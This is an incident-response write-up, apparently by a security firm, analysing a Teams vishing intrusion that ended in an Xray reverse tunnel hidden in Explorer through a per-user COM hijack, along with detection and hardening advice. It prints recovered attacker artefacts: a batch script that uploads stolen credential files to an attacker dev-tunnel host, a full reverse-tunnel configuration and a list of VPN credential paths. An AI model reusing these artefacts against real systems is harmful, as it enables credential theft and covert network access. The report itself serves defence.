Aur0ra – An Xray Reverse Tunnel Hidden Inside Explorer After a Teams Vishing Call

Executive Summary

In September 2026, Hexastrike responded to a social-engineering intrusion at a German manufacturing group that we attribute with high confidence to the Aur0ra ransomware group or one of its affiliates. After a wave of unsolicited email, an external Microsoft Teams account using the name of a real colleague offered employees help from “IT support”. One employee downloaded AnyDesk and accepted the caller’s connection. In just under twelve minutes of remote control, the operator captured the employee’s domain password with a fake security prompt, sent it out together with a network inventory of the workstation and installed a reverse tunnel that outlived the session.

The tunnel is the open-source proxy Xray-core compiled into a DLL. A hijacked COM registration in the user’s profile makes Windows Explorer load it at every logon, and its traffic poses as Chrome talking TLS to Google, which the firewall accepted. The operator’s first attempt, a renamed Xray executable started through a Run value, had failed at the web proxy’s authentication. The DLL needed no download, because it came with the toolkit archive that the operator had fetched with Windows’ built-in curl through a firewall rule that bypassed the proxy.

The intrusion did not progress beyond this foothold. The endpoint protection logged the DLL loading into Explorer twice but was set to monitor only, and the tunnel ran for about three hours in total until the laptop was isolated the next morning. Publicly documented Aur0ra intrusions reached extortion within about two weeks on average, which makes a foothold like this the first stage of a ransomware attack. This post walks through the session, explains how the implant persists and hides and why we link it to Aur0ra, and names the controls and detections that would have stopped or exposed each step.

Key Findings

  • Email bombing preceded Microsoft Teams chats from an external tenant whose sender used the name of a real employee, and one employee started AnyDesk and handed the caller control of the workstation.
  • A fake security prompt carrying the version information of a real antivirus vendor checked the employee’s domain password with LogonUser before saving it, and the password and a network inventory left through a Microsoft dev tunnel seconds later.
  • The persistent implant is Xray-core built as a signed Go DLL that impersonates radcui.dll. A per-user COM hijack loads it into explorer.exe at every logon, and two files beside it decide whether the tunnel runs and which server it reaches.
  • The tunnel is a VLESS reverse bridge with REALITY camouflage that presents dl.google.com and a Chrome fingerprint, which led the firewall to classify it as Google traffic and allow it.
  • The first installer reproduces the design of a previously reported Aur0ra intrusion, while the DLL variant, its COM persistence, the harvester and the dev tunnel upload have not been described before. Further builds with new branding, three more tunnel servers, four more dev tunnels and a signing certificate issued in October surfaced between late July and November.
  • Several controls recorded the attack without stopping it, among them AppLocker in audit mode, an endpoint protection rule set to monitor and Microsoft’s Teams impersonation detection, which fired after the session had ended.

Initial Access

Email Bombing and Teams Contact

The attack opened with a wave of unsolicited email to employees of the group, the usual first step of this approach, which leaves the targets looking for someone to make it stop. The flood consisted of sign-up confirmations from legitimate mailing services for newsletters in several languages that the employees had never subscribed to.

Newsletter sign-up confirmations in French, German and English from different mailing services converging on one mailbox, as Microsoft Defender showed the email bombing.
Newsletter sign-up confirmations in French, German and English from different mailing services converging on one mailbox, as Microsoft Defender showed the email bombing.

External Teams chats followed shortly afterwards. Each showed the display name of a real employee of the group and a sender address that combined that name with the company name at helpdesk-support-office-3[.]com, the custom domain of an external Microsoft 365 tenant. We found no sign that the colleague’s account had been compromised, and borrowing the name was enough. Hexastrike threat intelligence identified three sibling domains ending in -1, -2 and -4 that were registered together with the sender domain, and all four belong on a block list.

Microsoft’s Teams impersonation detection recognized that the external account posed as an employee and recorded the activity in the audit log, but only after the operator’s remote session had already ended, too late to interrupt the attack. The external domain also stayed open after the incident became known, and the tenant was still able to add another employee to an existing chat the following day, after the targeted employee’s password had been reset.

The audit log's Teams records for the external sender, chats created and messages posted within minutes, and the members of one chat from the operator's tenant and the company's tenant.
The audit log’s Teams records for the external sender, chats created and messages posted within minutes, and the members of one chat from the operator’s tenant and the company’s tenant.

External contact over Teams. An external tenant could open chats with any employee and appear as a colleague. We recommend limiting external Teams access to an allow list of partner domains, or disabling it for users who do not need it, and keeping the external label visible in every chat. Microsoft’s Teams impersonation alerts should reach the security team in real time, because here the alert arrived after the operator had disconnected. A sudden flood of unsolicited mail to several employees should trigger an immediate warning that IT never starts support over Teams. Once an attack is known, the sender domains belong on the tenant’s block list, which applies while external access is open to all other domains, the default setting. The MicrosoftTeams PowerShell module replaces that list as a whole, so domains that are already blocked have to be included again. An allow list of partner domains is the stricter option and makes a block list unnecessary, because it shuts out every domain that is not on it.

# Default mode: external access stays open to all domains except the blocked ones
$blocked = New-Object Collections.Generic.List[String]
$blocked.Add("helpdesk-support-office-1.com")
$blocked.Add("helpdesk-support-office-2.com")
$blocked.Add("helpdesk-support-office-3.com")
$blocked.Add("helpdesk-support-office-4.com")
Set-CsTenantFederationConfiguration -AllowedDomains (New-CsEdgeAllowAllKnownDomains) -BlockedDomains $blocked -BlockAllSubdomains $true

# Stricter: external chats only with named partner domains, every other domain is blocked
$partners = New-Object Collections.Generic.List[String]
$partners.Add("partner.example")
Set-CsTenantFederationConfiguration -AllowedDomainsAsAList $partners

AnyDesk Session

Within minutes of the first Teams call, the employee searched for AnyDesk and downloaded it from the vendor’s site. The web proxy filed the download under its “Remote Access” category and let it through, because no rule blocked that category at the time.

[14/Sep/2026:13:59:10 +0200] "" <client> 200 "GET https://download.anydesk.com/AnyDesk.exe HTTP/2.0" "Remote Access" "Minimal Risk" "application/octet-stream" 8375224 "" "" "0"

The employee opened the file straight from the browser. Edge marks a download as opened only when it is started from the browser itself, and its history records exactly that for AnyDesk.exe, a little over a second after the download completed. Another second later AnyDesk created its configuration folder under the user’s roaming AppData instead of ProgramData, which shows that it ran portably with the employee’s ordinary rights, without installation or service.

Edge's download record for the AnyDesk download in DB Browser, with opened set to 1 and the last access a little over a second after the download ended, both in WebKit time.
Edge’s download record for the AnyDesk download in DB Browser, with opened set to 1 and the last access a little over a second after the download ended, both in WebKit time.

The operator’s connection was accepted about a minute and a half after AnyDesk started. AnyDesk first tried to reach the other side directly on its port 7070, and the firewall’s default rule rejected all ten attempts, so the session fell back to AnyDesk’s relay servers and ran through the proxy instead. It lasted until the employee shut the computer down just under twelve minutes later. Anything visible on the screen during the session, including open mail and documents, therefore has to be treated as seen.

date=2026-09-14 time=13:59:56 tz="+0200" srcip=<client> dstip=82.41.181[.]45 dstport=7070 action="deny" policyid=0 service="tcp-high-ports" sentbyte=0 rcvdbyte=0
date=2026-09-14 time=13:59:57 tz="+0200" srcip=<client> dstip=82.41.181[.]45 dstport=7070 action="deny" policyid=0 service="tcp-high-ports" sentbyte=0 rcvdbyte=0
[... seven further denies ...]
date=2026-09-14 time=14:01:15 tz="+0200" srcip=<client> dstip=82.41.181[.]45 dstport=7070 action="deny" policyid=0 service="tcp-high-ports" sentbyte=0 rcvdbyte=0
date=2026-09-14 time=14:12:35 tz="+0200" srcip=<client> dstip=<proxy> dstport=3128 action="client-rst" service="SQUID" duration=797 sentbyte=37580059 rcvdbyte=984224

Remote-access software. The blocks against AnyDesk came after the first download, and a block on the download does not stop a program that is already on disk. We recommend application control that permits only the remote-support tool the organization uses and blocks other remote monitoring and management software, especially when it starts from a Downloads folder. The first execution of AnyDesk, TeamViewer, ScreenConnect or a comparable tool on a client, or a remote-access configuration folder under AppData that indicates a portable start, is worth an alert. The proxy category for remote-access software should be blocked for everyone except the support team.

Toolkit and Credential Theft

Once connected, the operator looked around the workstation by hand and then brought in a toolkit that captured the password and the network layout and sent both out. The operator deleted the toolkit folder before the session ended, and its steps are reconstructed from Windows logs and the NTFS change journal. The scripts come from a second copy of the toolkit that we recovered and decrypted. It uses PolicyMgr instead of EdgeShield for its folder and file names, installs the implant in another folder and points its tunnel at a different server, but it uploads to the same dev tunnel. For the harvester, we analyzed the EdgeShield build, which carries the same version information as the copy on this workstation and was signed on the morning of the attack.

Reconnaissance and Toolkit Staging

The operator opened a PowerShell console about a minute into the session, and its history file, the first ever written for this user, survived complete. After a round of discovery commands, it ends with a line that switches .NET to TLS 1.2, the usual preparation for a download from PowerShell.

whoami
systeminfo
route print
ipconfig
tasklist
eventvwr
cmd.exe
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

The toolkit then arrived as SecurityCheck.zip. At the same moment, the firewall logged a six-second direct session from the workstation to a Dropbox content host that carried about 12.8 megabytes, and the System Resource Usage Monitor (SRUM) credits that volume to the curl.exe that ships with Windows. The session left through a general outbound rule that let clients reach the internet on ports 80 and 443 without the proxy, which is why this download succeeded while the operator’s later downloads through the proxy failed.

date=2026-09-14 time=14:04:03 tz="+0200" srcip=<client> dstip=162.125.66.15 dstport=443 hostname="uce335ab57daaa14730ec58df391[.]dl[.]dropboxusercontent[.]com" service="Dropbox-Web" policyname="rest 443/80 Application standard" duration=6 sentbyte=230358 rcvdbyte=12813635
# SRUM network usage (UTC)
Timestamp=2026-09-14 12:11:00 ExeInfo=\device\harddiskvolume4\windows\system32\curl.exe BytesReceived=12856036 BytesSent=259412

The archive unpacked into folders and scripts named like Windows updates, such as KBInstall2064 and install_KB92736369.ps1, and held batch and PowerShell scripts, the credential harvester Validate.exe, Sysinternals AD Explorer and a version.dll that later became the implant. AD Explorer was not used, as the workstation’s LDAP traffic stayed far below what a directory snapshot produces. AppLocker ran in audit mode and wrote event 8006 for every script it would have blocked under enforcement, which also preserves the order in which they ran.

An AppLocker audit event 8006 for one of the toolkit's batch scripts, recording a script that enforcement would have blocked.
An AppLocker audit event 8006 for one of the toolkit’s batch scripts, recording a script that enforcement would have blocked.

Script control and proxy enforcement. AppLocker recorded every toolkit script and blocked none, because it ran in audit mode. We recommend enforcing script and executable rules for user-writable paths such as AppData, Downloads and Temp after an audit period that identifies legitimate exceptions. The toolkit arrived through a rule that allowed direct client connections on ports 80 and 443 and thereby undid the proxy’s authentication and categorization. Client traffic should leave the network only through the proxy. Until that is in place, curl.exe downloads from file-hosting services and bursts of event 8006 for scripts in AppData are worth alerting on.

Fake Security Prompt

The credential harvester Validate.exe poses as a security check. Its version information describes it as “EdgeShield security shield” and names the real antivirus vendor K7 Computing, and other builds of the harvester use the branding of Zoho’s ManageEngine, Todoist, FontLab, Egnyte, Flexera and Stardock, with the ManageEngine, Egnyte and Flexera builds asking for the password in German. Windows recorded the K7 branding when the employee started the program, which matches the build we analyzed.

The MuiCache entry for the credential harvester, branded as EdgeShield security shield by the antivirus vendor K7 Computing.
The MuiCache entry for the credential harvester, branded as EdgeShield security shield by the antivirus vendor K7 Computing.

Beneath decoy help text and junk routines that pad the binary, the harvester’s logic is short. If the employee enters only a user name, it takes the domain from the USERDOMAIN environment variable. It then checks the password with LogonUserW as an interactive logon against that domain and, if no domain was entered and that check fails, against the local machine. A wrong password produces an “Invalid credentials” message. A correct one switches the window to “Connecting to WebShield…” while the harvester writes DOMAIN\user:password to %APPDATA%\EdgeShield\edgeShield.log, so the operator receives only passwords that work.

The harvester's validation routine with the USERDOMAIN fallback and the LogonUserW call for an interactive logon.
The harvester’s validation routine with the USERDOMAIN fallback and the LogonUserW call for an interactive logon.

The prompt is not the Windows credential dialog. The harvester draws its own window from a dialog template in memory, and credui.dll, the library behind the genuine Windows prompt, appears neither in its imports nor in its strings, so detections that look for unusual processes loading that library would have missed it. The validation, however, leaves a distinctive trace. A LogonUser call of this kind produces Security event 4624 with logon type 2, and on this workstation the event names Validate.exe in the toolkit folder as the requesting process, a combination that ordinary software practically never produces.

Security event 4624 with logon type 2 requested by Validate.exe from the toolkit folder, the trace of a fake prompt that validates the password it collects.
Security event 4624 with logon type 2 requested by Validate.exe from the toolkit folder, the trace of a fake prompt that validates the password it collects.

The harvester’s output folder held three files. The credential file is a single line in the format above, and the third file is the empty VPN table described in the next section. The network inventory lists every adapter with its name, MAC address, DHCP state, addresses, gateway and DNS servers, which on this workstation was enough to map the site’s wired and wireless client networks, its internal DNS servers and the Fortinet VPN client.

Validated credential prompts. Security event 4624 with logon type 2 whose requesting process lies in a user-writable folder such as AppData or Temp is rare enough to alert on in most environments, and it catches this class of tool regardless of its branding. Phishing-resistant authentication such as FIDO2 security keys or Windows Hello for Business reduces what a captured password is worth, because the password alone no longer opens remote access or cloud applications. Users should be told plainly that IT will never ask them to type their password into a prompt during a support session.

VPN Collection and Dev Tunnel Upload

Two more scripts ran right after the harvester. UpdateEnv searches the settings, profiles and logs of about a dozen VPN clients, among them Cisco Secure Client, FortiClient, GlobalProtect, SonicWall, OpenVPN and Zscaler, as well as the VPN connections built into Windows, for gateway addresses and user names. Among the locations it reads are these.

%LOCALAPPDATA%\Cisco\Cisco Secure Client\VPN\preferences.xml
C:\ProgramData\Cisco\Cisco Secure Client\VPN\Profile
C:\Program Files\SonicWall\SSL-VPN\NetExtender\connection.json
%APPDATA%\WatchGuard\Mobile VPN\wgsslvpnc.log
%APPDATA%\OpenVPN Connect\profiles
%APPDATA%\OpenVPN Connect\Local Storage\leveldb\LOG
C:\Program Files\OpenVPN\config
%LOCALAPPDATA%\FortiClient\logs\trace\fortitray.exe_sslvpnlib_*.log
%LOCALAPPDATA%\FortiClient\Local Storage\leveldb\LOG
%APPDATA%\F5 Networks\VPN\client.f5c
C:\ProgramData\Pulse Secure
C:\ProgramData\Zscaler
%LOCALAPPDATA%\Palo Alto Networks\GlobalProtect\PanGPA.log
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

Apart from the Cisco profiles, which it loads as XML, the script reads these files as plain text and picks out the fields it wants with regular expressions. For Zscaler it takes the organization’s domain and the user name from the client’s configuration files, and for OpenVPN Connect and FortiClient it searches the local storage of the clients’ interfaces for user names and server addresses.

The collector's Zscaler and OpenVPN Connect routines, which pull the organization's domain, user names and VPN servers from the clients' configuration files and local storage.
The collector’s Zscaler and OpenVPN Connect routines, which pull the organization’s domain, user names and VPN servers from the clients’ configuration files and local storage.

The collector keeps every entry with a login or a public address and writes the result as a table to edgeShield.bkp in the harvester’s folder %APPDATA%\EdgeShield, which the recovered copy names %APPDATA%\PolicyMgr\policyMgr.bkp. It closes with the message “Check DONE. You can install fix.”, which fits the story the caller was telling. On this workstation the file contains nothing but a byte-order mark and a line break, which is what the script writes when it finds nothing to collect.

The end of the VPN collector, which reads the Windows VPN phonebooks and connections, keeps entries with a login or a public address, writes them as a table to policyMgr.bkp and announces that the fix can be installed.
The end of the VPN collector, which reads the Windows VPN phonebooks and connections, keeps entries with a login or a public address, writes them as a table to policyMgr.bkp and announces that the fix can be installed.

ValidateKB then sends the three files to a Microsoft dev tunnel. Its batch version posts each file with curl, adds a hard-coded Basic authorization header and an X-Filename header with the file name, and falls back to PowerShell’s Invoke-WebRequest if curl fails. Windows’ curl does not use the proxy settings that browsers follow, and like the toolkit download, the uploads went straight to the firewall.

@echo off
setlocal enabledelayedexpansion

set "URL=https://1l6xqzpp-7443[.]use[.]devtunnels[.]ms/"
set "AUTH=Basic <redacted>"
set "DIR=%APPDATA%\PolicyMgr"

for %%F in (policyMgr.log policyMgr.cfg policyMgr.bkp) do (
    if exist "%DIR%\%%F" (
        curl -s -X POST -H "Authorization: %AUTH%" -H "X-Filename: %%F" --data-binary @"%DIR%\%%F" %URL% >nul 2>&1
        if !errorlevel! equ 0 (
            echo [+] curl: %%F
        ) else (
            powershell -ep bypass -nop -c "try{$fs=[System.IO.File]::Open('%DIR%\%%F','Open','Read','ReadWrite');$b=New-Object byte[] $fs.Length;[void]$fs.Read($b,0,$fs.Length);$fs.Close();Invoke-WebRequest -UseBasicParsing -Method POST -Uri '%URL%' -Headers @{'Authorization'='%AUTH%';'X-Filename'='%%F'} -Body $b -ContentType 'application/octet-stream'|Out-Null;Write-Host '[+] psh: %%F'}catch{Write-Host '[-] LOCKED: %%F'}"
        )
    ) else (
        echo [-] not found: %%F
    )
)

endlocal

Dev tunnels are a Microsoft service for developers who want to test a local web service from the internet. A command-line tool or Visual Studio signs in with a Microsoft or GitHub account and publishes a local port under an address of the form <tunnel>-<port>.<region>.devtunnels.ms. The address in this toolkit publishes port 7443 of a machine under the operator’s control through Microsoft’s relay in the US East region. The operator needs no server of their own, the victim connects to a Microsoft address with a valid Microsoft certificate, and filters that trust Microsoft let the traffic pass, as a rule for trusted Microsoft services did here. Within a second of ValidateKB.bat starting, the firewall logged three short TLS sessions to that host. The middle one was about 1.2 kilobytes larger than the other two, which matches the network inventory sent between the much smaller credential file and the empty VPN table. The password and the inventory left the company seconds after they were captured.

date=2026-09-14 time=14:06:32 tz="+0200" srcip=<client> dstip=20.120.56.11 dstport=443 hostname="1l6xqzpp-7443[.]use[.]devtunnels[.]ms" policyname="Trusted -> ISDB MS" app="SSL_TLSv1.3" duration=2 sentbyte=1871 rcvdbyte=9920
date=2026-09-14 time=14:06:33 tz="+0200" srcip=<client> dstip=20.120.56.11 dstport=443 hostname="1l6xqzpp-7443[.]use[.]devtunnels[.]ms" policyname="Trusted -> ISDB MS" app="SSL_TLSv1.3" duration=2 sentbyte=3007 rcvdbyte=9920
date=2026-09-14 time=14:06:34 tz="+0200" srcip=<client> dstip=20.120.56.11 dstport=443 hostname="1l6xqzpp-7443[.]use[.]devtunnels[.]ms" policyname="Trusted -> ISDB MS" app="SSL_TLSv1.3" duration=1 sentbyte=1732 rcvdbyte=10025

Developer tunnels and trusted-service rules. Firewall rules that trust Microsoft services as a category also admit services that anyone can register, such as dev tunnels. We recommend blocking *.devtunnels.ms on clients without a development need, or allowing it only for named developer groups, and reviewing other broad trust rules for services of this kind. A first connection from an ordinary workstation to a dev tunnel host deserves an alert, particularly when curl.exe makes it seconds after a script started from AppData.

The Xray Implant

With the password and the inventory gone, the operator wanted a way back into the network that no longer depended on the employee. It tried two installers, and the difference between them decided which implant ended up running.

Two Installers

The first installer, install_KB92736369.ps1, survives in full because PowerShell logged it automatically as a suspicious script block. It downloads Xray from Dropbox or one of two CloudFront mirrors, installs the executable as SystemBrokerAgent.exe under %LOCALAPPDATA%\Microsoft\SystemBroker\Agent, backdates it by a random 90 to 460 days and registers a hidden relauncher script under a Run value. Both installers take a host number that becomes the bridge’s name on the operator’s server. The operator gave this one the number 8 and the second installer the number 6, so the implant that ran registered as h6.tunnel.

The automatically logged script block of the first installer, with the Xray server, the REALITY settings, the SystemBroker folder, the Run value name and the three download mirrors.
The automatically logged script block of the first installer, with the Xray server, the REALITY settings, the SystemBroker folder, the Run value name and the three download mirrors.

The download uses .NET’s WebClient, which sends neither a user agent nor the user’s credentials to an authenticating proxy. The proxy answered the requests for all three sources with status 407 and the script gave up. The operator ran it a second time with the same result, and only an empty folder remained.

[14/Sep/2026:14:07:19 +0200] "" <client> 407 "CONNECT www.dropbox.com:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:07:19 +0200] "" <client> 407 "CONNECT d2hvq6y0ldmm9s[.]cloudfront[.]net:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:07:19 +0200] "" <client> 407 "CONNECT d5hkgtqjxqnfo[.]cloudfront[.]net:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:09:17 +0200] "" <client> 407 "CONNECT www.dropbox.com:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:09:17 +0200] "" <client> 407 "CONNECT d2hvq6y0ldmm9s[.]cloudfront[.]net:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:09:17 +0200] "" <client> 407 "CONNECT d5hkgtqjxqnfo[.]cloudfront[.]net:443 HTTP/1.1" "" "-" "" 0 "" "" "81"

The second installer did not need the network. KB85809588.bat is a polyglot, a file that is valid in two languages at once, with each interpreter reading only the part meant for it. Its first lines are an ordinary batch script that checks the host number, starts PowerShell and then deletes itself, and the PowerShell code follows a #PS-BEGIN marker that cmd.exe never reaches.

The start of the polyglot installer from the recovered copy, a batch script that hands its own file to PowerShell and deletes itself, followed by the PowerShell settings behind the #PS-BEGIN marker.
The start of the polyglot installer from the recovered copy, a batch script that hands its own file to PowerShell and deletes itself, followed by the PowerShell settings behind the #PS-BEGIN marker.

The launcher line reads the batch file, cuts off everything up to the marker and passes the rest to Invoke-Expression. Although process auditing was off, the classic Windows PowerShell log recorded this command line in full.

The polyglot's launcher in the classic Windows PowerShell log, reading the batch file and executing everything after the #PS-BEGIN marker.
The polyglot’s launcher in the classic Windows PowerShell log, reading the batch file and executing everything after the #PS-BEGIN marker.

The PowerShell part then copied the host’s genuine wkspbroker.exe from System32 and the toolkit’s version.dll, renamed to radcui.dll, into %LOCALAPPDATA%\Microsoft\RemoteApp\Gateway, wrote config.json and a one-line comsrv.dat beside them and started the broker. The operator then deleted the toolkit folder, leaving only the harvester output and the implant.

The polyglot's PowerShell part, which copies the System32 broker and the DLL into the profile, writes config.json from its settings and names the COM forwarding target in comsrv.dat.
The polyglot’s PowerShell part, which copies the System32 broker and the DLL into the profile, writes config.json from its settings and names the COM forwarding target in comsrv.dat.

This installer backdated both binaries more carefully than the first. It gave the copied broker the modification time of the System32 original and the DLL the same time plus three seconds, and it then registered the per-user COM class described in the next section.

The end of the polyglot, which gives the broker the timestamps of the System32 original and the DLL that time plus three seconds, starts the broker and registers the per-user COM class, with a Run value as the fallback.
The end of the polyglot, which gives the broker the timestamps of the System32 original and the DLL that time plus three seconds, starts the broker and registers the per-user COM class, with a Run value as the fallback.

On this host that time came from the cumulative update installed in August, which lets the implant blend in with thousands of genuine system files from that update. Only the $FILE_NAME timestamps in the Master File Table, which this kind of backdating leaves untouched, keep the real installation time.

ParentPath                                                FileName        Created0x10                  LastModified0x10             Created0x30
.\Windows\System32                                        wkspbroker.exe  2026-08-19 08:15:26.6577106  2026-08-19 08:15:26.6797890
.\Users\<user>\AppData\Local\Microsoft\RemoteApp\Gateway  wkspbroker.exe  2026-08-19 08:15:26.6797890  2026-08-19 08:15:26.6797890  2026-09-14 12:08:04.4905479
.\Users\<user>\AppData\Local\Microsoft\RemoteApp\Gateway  radcui.dll      2026-08-19 08:15:29.6797890  2026-08-19 08:15:29.6797890  2026-09-14 12:08:04.4935545

Installer traces. Several steps of these installers can be detected without knowing the tooling. A PowerShell command line that reads a batch file and passes part of it to Invoke-Expression, copies of System32 binaries such as wkspbroker.exe inside a user profile and executables in AppData whose timestamps match a system file to the second all deserve attention, as does a burst of proxy 407 responses to file-hosting domains for requests without a user agent. The classic Windows PowerShell log kept the polyglot’s launcher even without process auditing, which makes central collection of that log a cheap measure, and script block logging would have recorded every installer in full.

Side-Loading and COM Hijack

The DLL is a Go build of Xray-core 26.3.27 of about 31 megabytes, roughly eighty times the size of the genuine radcui.dll it imitates. It exports the four functions of the genuine library plus the two registration functions of a COM server, carries the internal name version.dll and is signed with a certificate issued to YOUR CHANCE j.d.o.o in Zagreb by SSL.com. The signature was applied a few hours before the attack, and eight related wrapper builds carry this certificate, a second one issued to the same company or certificates issued to three other companies.

The implant's export directory with the internal name version.dll, the four functions of the genuine RADCUI library and the two COM registration exports.
The implant’s export directory with the internal name version.dll, the four functions of the genuine RADCUI library and the two COM registration exports.

The attacker’s own code is a small wrapper around the Xray library. It forwards calls to the four genuine exports to the real radcui.dll in System32 and COM requests to the System32 library named in comsrv.dat, here shell32.dll, with directmanipulation.dll as the built-in default, which keeps the program that loads it working. Half a second after loading, a background routine takes the mutex Local\5b37e1aa2f6e5394, derived from a key compiled into the build, reads config.json from the DLL’s folder and starts Xray. Every five seconds it checks that folder again. A changed config.json restarts the tunnel with the new settings, and a file named system.active stops it until the file is deleted, which the routine checks every thirty seconds. Anyone who can write to the folder can pause the tunnel or move it to another server without touching the signed DLL.

The start of the wrapper's main.autoStart routine in Ghidra, which sleeps, builds the file paths beside the DLL and assembles the mutex name from the build key.
The start of the wrapper’s main.autoStart routine in Ghidra, which sleeps, builds the file paths beside the DLL and assembles the mutex name from the build key.

The DLL starts in two ways. The copied Workspace broker imports radcui.dll, and because Windows searches the application’s folder first, the broker loads the implant from the Gateway folder, which started the tunnel immediately. For later logons, the installer registered the class identifier {42aedc87-2188-41fd-b9a3-0c966feabec1} under HKCU\Software\Classes\CLSID with an InProcServer32 entry pointing to the implant. Machine-wide, this class belongs to a shell component that Explorer loads from windows.storage.dll at every logon, but Windows resolves per-user registrations first, so Explorer loads the implant instead. The hijack needs no administrator rights, creates no service or Run value and escapes autostart reviews that skip per-user COM registrations, while the mutex keeps the two routes from running two tunnels.

The per-user InProcServer32 registration of the class {42aedc87-2188-41fd-b9a3-0c966feabec1}, written during the installation and pointing to the implant in the user's profile.
The per-user InProcServer32 registration of the class {42aedc87-2188-41fd-b9a3-0c966feabec1}, written during the installation and pointing to the implant in the user’s profile.

The endpoint protection saw both loads. Trellix Adaptive Threat Protection recorded explorer.exe loading radcui.dll from the user’s AppData folder at the first logon after the session and again the next morning, both times with the status “überwacht”, German for monitored. The information that an unknown DLL from a user profile was running inside Explorer was available within minutes of the installation, but the policy only observed it.

2026-09-14 12:14:31.346Z |Activity|Orchestrator |mfeatp |8888|14448|MLProtect |rp_native_scanner.cpp(1485) | Prozess mit Prozess-ID 15964 , Prozesspfad C:\Windows\explorer.exe , DLL-Dateipfad C:\Users\<user>\AppData\Local\Microsoft\RemoteApp\Gateway\radcui.dll wird durch den ML Protect-Cloud-Scanner überwacht
2026-09-15 06:18:54.702Z |Activity|Orchestrator |mfeatp |8608|14776|MLProtect |rp_native_scanner.cpp(1485) | Prozess mit Prozess-ID 16576 , Prozesspfad C:\Windows\explorer.exe , DLL-Dateipfad C:\Users\<user>\AppData\Local\Microsoft\RemoteApp\Gateway\radcui.dll wird durch den ML Protect-Cloud-Scanner überwacht

COM hijacking and DLL loads from user profiles. Per-user COM registrations that redirect a class registered under HKLM to a DLL in a user-writable path are rare in legitimate software and should raise an alert, as should Microsoft-signed system binaries running from a user’s AppData folder. Where the endpoint protection already detects DLL loads from user profiles into system processes, as it did here, switching that rule from monitoring to blocking is the most effective single measure in this case. Image-load telemetry such as Sysmon event 7 would have attributed the DLL to explorer.exe directly, and the abused certificate should be reported to its issuer for revocation.

Reverse Bridge and Google Camouflage

The wrapper hands config.json to Xray unchanged, so this file alone decides what the tunnel does. It is short enough to show in full.

{"log":{"loglevel":"none"},
 "reverse":{"bridges":[{"tag":"bridge","domain":"h6.tunnel"}]},
 "outbounds":[{"tag":"tunnel","protocol":"vless",
   "settings":{"vnext":[{"address":"147.185.197[.]237","port":443,
     "users":[{"id":"<redacted>","encryption":"none"}]}]},
   "streamSettings":{"network":"tcp","security":"reality",
     "realitySettings":{"serverName":"dl.google.com","fingerprint":"chrome",
       "publicKey":"-uAZzBhajMAUYiU4zyQ9XNavlBRUBkvceKXa_rBdQjY",
       "shortId":"<redacted>"}}},
  {"tag":"direct","protocol":"freedom"}],
 "routing":{"rules":[
   {"type":"field","inboundTag":["bridge"],"domain":["full:h6.tunnel"],"outboundTag":"tunnel"},
   {"type":"field","inboundTag":["bridge"],"outboundTag":"direct"}]}}

The reverse block makes the workstation what Xray calls a bridge. Under the first routing rule, the bridge connects to a portal on the operator’s server through the tunnel outbound and identifies itself as h6.tunnel. The portal sends the operator’s connections back through that session, and the second rule hands everything arriving this way to the direct outbound and thus into the internal network. The operator could reach any internal system the workstation could reach, while the workstation never listened on a port and the firewall only saw an outbound connection. The security setting selects REALITY, Xray’s camouflage layer, which makes the handshake name dl.google.com and imitate Chrome. A REALITY server typically relays handshakes from clients without the right key to the real site, and a probe of the server therefore sees a genuine certificate. With logging set to none, the implant writes nothing about its activity.

To the perimeter, this looked like Chrome downloading from Google. The FortiGate firewall classified every session to the tunnel server as the application “Google.Services” and allowed it through the same general rule that had carried the toolkit download, again past the proxy. The server belongs to a small German hosting provider and had no public reputation at the time.

date=2026-09-14 time=14:08:07 tz="+0200" srcip=<client> dstip=147.185.197[.]237 dstport=443 dstcountry="Germany" hostname="dl.google.com" app="Google.Services" appcat="General.Interest" policyname="rest 443/80 Application standard" duration=1 sentbyte=1858 rcvdbyte=7540
date=2026-09-14 time=14:08:07 tz="+0200" srcip=<client> dstip=147.185.197[.]237 dstport=443 dstcountry="Germany" hostname="dl.google.com" app="Google.Services" appcat="General.Interest" policyname="rest 443/80 Application standard" duration=1 sentbyte=1858 rcvdbyte=7500
date=2026-09-14 time=14:08:07 tz="+0200" srcip=<client> dstip=147.185.197[.]237 dstport=443 dstcountry="Germany" hostname="dl.google.com" app="Google.Services" appcat="General.Interest" policyname="rest 443/80 Application standard" duration=1 sentbyte=1858 rcvdbyte=7541
[... 3,078 further sessions with the same classification ...]

The sessions followed a rhythm that no browser produces. From two seconds after the installation until the export ended, the implant opened a new connection about 75 times a minute, interrupted only while the laptop restarted. All 3,081 sessions in the export lasted a second or less and moved almost identical volumes of about 1.9 kilobytes out and 7.5 kilobytes in, roughly the size of a TLS handshake, and none of them carried operator traffic.

Camouflaged TLS. Application identification that relies on the server name in the handshake accepts whatever name the client presents. We recommend alerting when a session claims the server name of a large provider such as Google or Microsoft while the destination lies outside that provider’s published address ranges, a check that needs nothing more than the firewall’s session logs. A constant session rate from one client to one address over hours is a further signal. Above all, clients should reach the internet on port 443 only through the proxy, which would have stopped both the toolkit and the tunnel in this case.

Tunnel Uptime and Scope

Altogether the tunnel was up for about three hours, from the installation until the employee switched the laptop off that afternoon and again for an hour the next morning, until the device was isolated after the password reset. Because the implant runs inside Explorer, SRUM records its traffic under explorer.exe, which on this workstation normally moved only kilobytes per hour. In every hour with the tunnel running, Explorer moved the same steady volume, and the data it received matches what the reconnect rhythm produces almost exactly. A transfer through the tunnel would stand out against that line, and none does.

Nothing else followed. We found no lateral movement, no directory queries and no internal destinations beyond an ordinary working day, and the audit log shows no sign-in with the stolen password and no new mailbox rules, forwarding or permissions on any contacted account.

SRUM's network records for explorer.exe, a few kilobytes per hour before the hijack and a steady volume of megabytes in every hour with the tunnel running.
SRUM’s network records for explorer.exe, a few kilobytes per hour before the hijack and a steady volume of megabytes in every hour with the tunnel running.

